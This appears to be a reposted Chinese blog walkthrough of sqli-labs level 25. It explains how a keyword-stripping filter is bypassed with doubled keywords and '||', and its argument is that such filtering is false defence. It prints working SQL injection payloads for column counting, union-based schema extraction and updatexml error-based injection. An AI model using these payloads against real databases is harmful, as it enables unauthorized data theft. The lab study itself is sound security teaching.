文章总结: 本文解析sqli-labs第25关,指出基于关键字替换的防御机制存在缺陷。文章演示了利用双写如oorr或逻辑符号||绕过过滤,成功执行联合查询与显错注入获取数据。核心结论是SQL注入本质在于语义而非特定字符,建议从语义层面进行防护,而非简单的字符串过滤。 综合评分: 87 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,漏洞POC
删掉 or / and 就安全了?sqli-labs 第 25 关彻底打脸
原创
武文学网安 武文学网安
武文学网安
2026年1月16日 03:14 西藏
大家好,我是武文。今天继续挑战 sqli-labs 第 25 关。
如果你已经走到这里,大概率会和我一样产生一种错觉:“这关是不是把 SQL 注入彻底修好了?”
因为你会发现一件非常反常的事情—— 注入依然存在,但你最熟悉的关键词,全都被“吃掉”了。
一、第 25 关的第一感受:哪里都不对劲
页面形式依然很熟悉,URL 参数还是:
?id=1
于是我下意识开始做这些“肌肉记忆级”的测试:
?id=1' ?id=1' --+?id=1' or 1=1 --+?id=1' and 1=1 --+?id=1' union select 1,2,3 --+
结果:
仅?id=1′ –+页面正常显示,其余均报类似错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1
可以在页面发现有如下显示,注意下面的Hint提示:
?id=1' 报错,Hint: Your Input is Filtered with following result: 1'
?id=1' --+ 正常显示Hint: Your Input is Filtered with following result: 1' -
?id=1' or 1=1 --+ 报错,Hint: Your Input is Filtered with following result: 1' 1=1 --
?id=1' and 1=1 --+Hint: Your Input is Filtered with following result: 1' 1=1 --
?id=1' union select 1,2,3 --+ 正常显示Hint: Your Input is Filtered with following result: 1' union select 1,2,3 --
从这些 Hint 可以明确看出: 应用层并不是拒绝请求,而是“静默删除”了 or / and 等关键字,再把残缺的 SQL 继续丢给数据库执行。但union select 还能正常显示。
于是我尝试能否用order by测试查询列数:
?id=1' order by 1 --+
结果是order by当中的or字符居然也被删除了,input被过滤后的结果只剩1′ der by 1–:
## 二、关键线索:关键词“被过滤了”
冷静下来后,我开始做一件事:
观察 payload 在前端和后端之间发生了什么变化。
于是我刻意提交一个明显的测试语句:
?id=1' or '1'='1
页面显示正常,但逻辑并没有被绕过。
再仔细对比页面行为,会发现一个重要特征:or、and关键字,似乎失效了。
这并不是 SQL 本身的问题,而是应用层在“动手脚”。
三、源码思维:看看第25关到底干了什么?
当页面行为出现“既不拦截、又不正常执行”的情况时,最可靠的方式就是: 假设 SQL 没变,变的是我们的输入。
让我们一起来看看sqli-labs的源码,会发现我们输入的id被一个功能函数给处理了:$id= blacklist($id);
这里通过字符替换,将or和and关键字去掉了。这是一个在真实项目中也比较常见的错误防御方式。
四、为什么这种过滤方式是“伪防御”?
因为它只基于一个错误前提:“攻击者一定会老老实实写 or / and ”。但 SQL 的语法表达能力,远远不止这些。
五、核心突破点:or ≠ 只能写成 or
会被替换成空字符串,那就问一个关键问题:SQL 中,逻辑“或”,只有 or 这一种写法吗?
答案是:不是。
六、实操篇:绕过关键字过滤的真实思路
6.1 使用符号代替逻辑关键字
a OR b
等价于
a||b
而过滤规则只处理了 or,并没有处理 ||。
为了绕过or和and,我们可以构造一个在or and过滤后仍然存在的写法:
a oorr b or过滤后变 a or ba anandd and过滤后变 a and b
这些绕过方式的本质,其实只有一件事: 让过滤函数删掉“错误的部分”,而不是删掉“真实语义”。
6.2 实际测试 payload
于是我们只需要将被替换的关键词修改成对应的符号表示即可:
?id=1' || 1=1 --+
可见||生效。再来测试查询列:
?id=1' oorrder by 1 --+?id=1' oorrder by 2 --+?id=1' oorrder by 3 --+?id=1' oorrder by 4 --+
可以看到,order by 4时报错,所以查询列数为3.
显示位测试
从前面第一节的测试可知union select还能使用,于是测试显示位:
?id=-1' union select 1,2,3 --+
可以测试得到,第2,3列为显示位。
利用显示位获取数据
可以在对应位置显示我们想要的数据:
?id=-1' union select 1,2,database() --+
可以参照SQL注入实战:在 information_schema 地图中,从理论走向攻击台这里的查询参数在显示位显示我们想要的数据,只需要把含有or和and的数据重写,如获取所有数据库名:
?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+
可以获取到想要的数据。
测试是否可以利用XPATH显错
构造payload如下:
?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1)--+
可以看到XPATH显错注入依然可以利用。需要注意的是,XPATH 显错在这一关并不是核心利用方式,它更多是用于验证: 过滤规则并没有真正限制 SQL 的执行能力。
6.3 利用sqlmap自动化注入验证
可以看到sqlmap能够自动测试出boolean-based blind、time-based blind、Union query这三种注入方式,我们自己手动还多测试出来了XPATH注入。
结语:第 25 关真正想教我的是什么?
回头看第 25 关,会发现它并没有引入任何“新型注入函数”,也没有更复杂的 SQL 结构。 它真正做的,只是一个看起来很“聪明”的操作:把 or / and 等关键词替换掉。
但正是这个设计,反而暴露了一个在真实业务中极其常见的误区:把“安全”建立在字符串替换之上。
第 25 关真正想告诉我们的,并不是:
- 该怎么写
oorr - 该怎么用
||
而是一个更重要的事实:
👉 SQL 注入的本质,从来不是关键字,而是语义。
只要语义还存在:
- or 被删了,还有
|| - and 被删了,还有逻辑运算
- union 被限制了,还有布尔、时间、子查询
过滤规则越“自信”,攻击面往往越隐蔽。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:武文学网安 武文学网安 武文学网安《删掉 or / and 就安全了?sqli-labs 第 25 关彻底打脸》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论